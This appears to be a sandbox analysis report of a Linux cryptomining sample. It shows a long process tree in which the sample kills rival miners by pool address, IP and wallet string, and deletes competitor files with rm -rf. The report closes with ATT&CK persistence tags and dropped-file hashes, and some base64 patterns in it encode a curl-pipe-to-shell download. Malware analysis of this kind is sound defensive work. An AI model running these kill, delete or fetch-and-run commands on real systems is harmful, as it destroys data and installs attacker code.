/bin/grepgrep -v grep2⤵PID:1502
-
-
/bin/psps aux2⤵PID:1501
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1510
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1509
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1508
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/bin/psps aux2⤵PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1514
-
-
/bin/grepgrep 144.217.45.452⤵PID:1513
-
-
/bin/grepgrep -v grep2⤵PID:1512
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1511
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1520
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1518
-
-
/bin/grepgrep -v grep2⤵PID:1517
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1516
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1525
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1524
-
-
/bin/grepgrep 176.31.6.162⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1530
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1529
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1528
-
-
/bin/grepgrep -v grep2⤵PID:1527
-
-
/bin/psps auxf2⤵PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1535
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1534
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1533
-
-
/bin/grepgrep -v grep2⤵PID:1532
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1540
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1539
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1538
-
-
/bin/grepgrep -v grep2⤵PID:1537
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1545
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1544
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1543
-
-
/bin/grepgrep -v grep2⤵PID:1542
-
-
/bin/psps auxf2⤵PID:1541
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1550
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1549
-
-
/bin/grepPID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1547
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1555
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1554
-
-
/bin/grepgrep monerohash.com2⤵PID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1552
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1560
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1559
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1558
-
-
/bin/grepgrep -v grep2⤵PID:1557
-
-
/bin/psps auxf2⤵PID:1556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1565
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1564
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1562
-
-
/bin/psps auxf2⤵PID:1561
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1570
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1569
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1568
-
-
/bin/grepgrep -v grep2⤵PID:1567
-
-
/bin/psps auxf2⤵PID:1566
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1575
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1574
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1573
-
-
/bin/grepgrep -v grep2⤵PID:1572
-
-
/bin/psps auxf2⤵PID:1571
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1580
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1579
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1578
-
-
/bin/grepgrep -v grep2⤵PID:1577
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1576
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1585
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1584
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1583
-
-
/bin/grepgrep -v grep2⤵PID:1582
-
-
/bin/psps auxf2⤵PID:1581
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1590
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1589
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1588
-
-
/bin/grepgrep -v grep2⤵PID:1587
-
-
/bin/psps auxf2⤵PID:1586
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1594
-
/usr/local/sbin/killkill -9 15923⤵PID:1595
-
-
/usr/local/bin/killkill -9 15923⤵PID:1595
-
-
/usr/sbin/killkill -9 15923⤵PID:1595
-
-
/usr/bin/killkill -9 15923⤵PID:1595
-
-
/sbin/killkill -9 15923⤵PID:1595
-
-
/bin/killkill -9 15923⤵PID:1595
-
-
-
/bin/grepgrep xiaoyao2⤵PID:1592
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1593
-
-
/bin/psps auxf2⤵PID:1591
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1599
-
/usr/local/sbin/killkill -9 15973⤵PID:1600
-
-
/usr/local/bin/killkill -9 15973⤵PID:1600
-
-
/usr/sbin/killkill -9 15973⤵PID:1600
-
-
/usr/bin/killkill -9 15973⤵PID:1600
-
-
/sbin/killkill -9 15973⤵PID:1600
-
-
/bin/killkill -9 15973⤵PID:1600
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1598
-
-
/bin/grepgrep xiaoxue2⤵PID:1597
-
-
/bin/psps auxf2⤵PID:1596
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1606
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1604
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1603
-
-
/bin/grepgrep 46.243.253.152⤵PID:1602
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1605
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1612
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1611
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1610
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1609
-
-
/bin/grepgrep 176.31.6.162⤵PID:1608
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1614
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵
- Reads runtime system information
PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1615
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1618
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1620
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1622
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1626
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1625
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1628
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1630
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵
- Reads runtime system information
PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1632
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1634
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵
- Reads runtime system information
PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1636
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1635
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1638
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1640
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1642
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1641
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1644
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵
- Reads CPU attributes
PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1646
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵
- Reads runtime system information
PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1650
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1649
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1652
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1654
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵
- Reads CPU attributes
PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1656
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1655
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1658
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵
- Reads CPU attributes
PID:1657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1660
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1659
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1662
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1664
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1666
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1668
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵
- Reads runtime system information
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1674
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵
- Reads runtime system information
PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1678
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads CPU attributes
PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1680
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1682
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads CPU attributes
PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1686
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵
- Reads runtime system information
PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1690
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵
- Reads CPU attributes
PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵
- Reads CPU attributes
- Reads runtime system information
PID:1695
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1702
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1704
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1706
-
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads runtime system information
PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1710
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1714
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1718
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1720
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1722
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1724
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1726
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1725
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1727
-
-
/usr/bin/pkillpkill -f Loopback2⤵
- Reads runtime system information
PID:1728
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1729
-
-
/usr/bin/pkillpkill -f cryptonight2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1730
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1731
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1732
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1733
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1734
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵PID:1735
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1736
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
PID:1737
-
-
/usr/bin/pkillpkill -f conns2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1738
-
-
/usr/bin/pkillpkill -f irqbalance2⤵
- Reads CPU attributes
PID:1739
-
-
/usr/bin/pkillpkill -f crypto-pool2⤵PID:1740
-
-
/usr/bin/pkillpkill -f XJnRj2⤵PID:1741
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1742
-
-
/usr/bin/pkillpkill -f pythno2⤵
- Reads runtime system information
PID:1743
-
-
/usr/bin/pkillpkill -f jweri2⤵
- Reads runtime system information
PID:1744
-
-
/usr/bin/pkillpkill -f lx262⤵PID:1745
-
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads runtime system information
PID:1746
-
-
/usr/bin/pkillpkill -f BI5zj2⤵
- Reads CPU attributes
PID:1747
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵
- Reads CPU attributes
PID:1748
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads CPU attributes
PID:1749
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1750
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1751
-
-
/usr/bin/pkillpkill -f ysaydh2⤵
- Reads CPU attributes
PID:1752
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1753
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1754
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1755
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵
- Reads CPU attributes
PID:1756
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads runtime system information
PID:1757
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1758
-
-
/usr/bin/pkillpkill -f kworker342⤵PID:1759
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1760
-
-
/usr/bin/pkillpkill -f pro.sh2⤵PID:1761
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1762
-
-
/usr/bin/pkillpkill -f acpid2⤵PID:1763
-
-
/usr/bin/pkillpkill -f icb5o2⤵
- Reads runtime system information
PID:1764
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1765
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads CPU attributes
PID:1766
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1767
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1768
-
-
/usr/bin/pkillpkill -f gddr2⤵PID:1769
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads runtime system information
PID:1770
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1771
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵
- Reads CPU attributes
PID:1772
-
-
/usr/bin/pkillpkill -f deamon2⤵PID:1773
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1774
-
-
/usr/bin/pkillpkill -f sourplum2⤵PID:1775
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1776
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1777
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1778
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1779
-
-
/usr/bin/pkillpkill -f devtools2⤵PID:1780
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
PID:1781
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1782
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1783
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1784
-
-
/usr/bin/pkillpkill -f xmrig2⤵PID:1785
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵
- Reads CPU attributes
PID:1786
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1787
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1788
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1789
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵
- Reads CPU attributes
PID:1790
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵
- Reads runtime system information
PID:1791
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵PID:1792
-
-
/usr/bin/pkillpkill -f suppoie2⤵PID:1793
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵PID:1794
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵PID:1795
-
-
/usr/bin/pkillpkill -f nullcrew2⤵
- Reads runtime system information
PID:1796
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads runtime system information
PID:1797
-
-
/usr/bin/pkillpkill -f kworkerds2⤵PID:1798
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵PID:1799
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵PID:1800
-
-
/usr/bin/pkillpkill -f crond642⤵
- Reads runtime system information
PID:1801
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1802
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵
- Reads CPU attributes
PID:1803
-
-
/usr/bin/pkillpkill -f exin2⤵PID:1804
-
-
/usr/bin/pkillpkill -f apachiii2⤵PID:1805
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵
- Reads CPU attributes
PID:1806
-
-
/usr/bin/pkillpkill -f xr2⤵
- Reads runtime system information
PID:1807
-
-
/usr/bin/pkillpkill -f trace2⤵PID:1808
-
-
/usr/bin/pkillpkill -f svcupdate2⤵PID:1809
-
-
/usr/bin/pkillpkill -f networkmanager2⤵
- Reads runtime system information
PID:1810
-
-
/usr/bin/pkillpkill -f phpupdate2⤵
- Reads CPU attributes
PID:1811
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1812
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1813
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1814
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1815
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1816
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1817
-
-
/bin/rmrm -rf /tmp/php2⤵PID:1818
-
-
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1819
-
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1820
-
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1821
-
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1822
-
-
/bin/rmrm -rf /tmp/javax/sshd22⤵PID:1823
-
-
/bin/rmrm -rf /tmp/.profile2⤵PID:1824
-
-
/bin/rmrm -rf /tmp/1.so2⤵PID:1825
-
-
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1826
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
13B
MD53d47b8e895a71930bda5d4f3d8fc8589
SHA1efbaf468b81abb6b465ca12f35fa067bae1b4f10
SHA256be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
SHA512bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
-
Filesize
52B
MD5f668da8f0525cbe5a545869cb5776913
SHA1996e6afed4498ff8a92a64330de018141af102c9
SHA256db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
SHA512f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
-
Filesize
56B
MD5896f6d504f181bd883a90b84069bcf70
SHA186fd682d1932d9e14461796e5f0fe776b8ce9d5c
SHA256b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
SHA5121f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
-
Filesize
53B
MD56956a4d6a2444151c11a73517215cb34
SHA1b279ad496f640f44418aa7e5e27a4d458bddb7fb
SHA256561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
SHA512ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
-
Filesize
53B
MD589e54ac293f5d8687ddd68f3d0574a53
SHA12353118da29faab45571118fee232a8ca9d5f818
SHA2566799c463b1bec4784078ec31bd11a43609dafcc6cfc58ecb16819e1fd55219a3
SHA51287ed4b3def516fce45ba5aab199b9ed9850f70d383284945445077d71a778c5c01519f45e992d8cf171594d88dd7a241d52b82548668372fb569c4b325a680fc
-
Filesize
50B
MD5b2ecca8d419b5c3fa2ee7621efa75eb7
SHA13adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
SHA256e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
SHA512c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
9B
MD5970d39f8690eff0fe573e7bcf51bda9b
SHA146f8f835d3d3d41f063d0e8346260bb622b01a3f
SHA2567e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
SHA51224952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
-
Filesize
1B
MD568b329da9893e34099c7d8ad5cb9c940
SHA1adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA25601ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
SHA512be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
-
Filesize
399B
MD53d5c3dc8af5c58f2196d3230dc2e49fb
SHA1e3ab4d81f3c4275d59ae9304612bc0b739af0f26
SHA256a880448cdde610e7f9d700ff33084fb7e0ce053a49098d450bee44c4a08fe181
SHA512ca408a3a8e3d77c247ddfcd2f88e3b20c21187aafe6a605059eabbfd9c3a296ec5d9949166e78a76689716e814de3197eb519e76e8ba9fa8e5992f1a7f13f8cb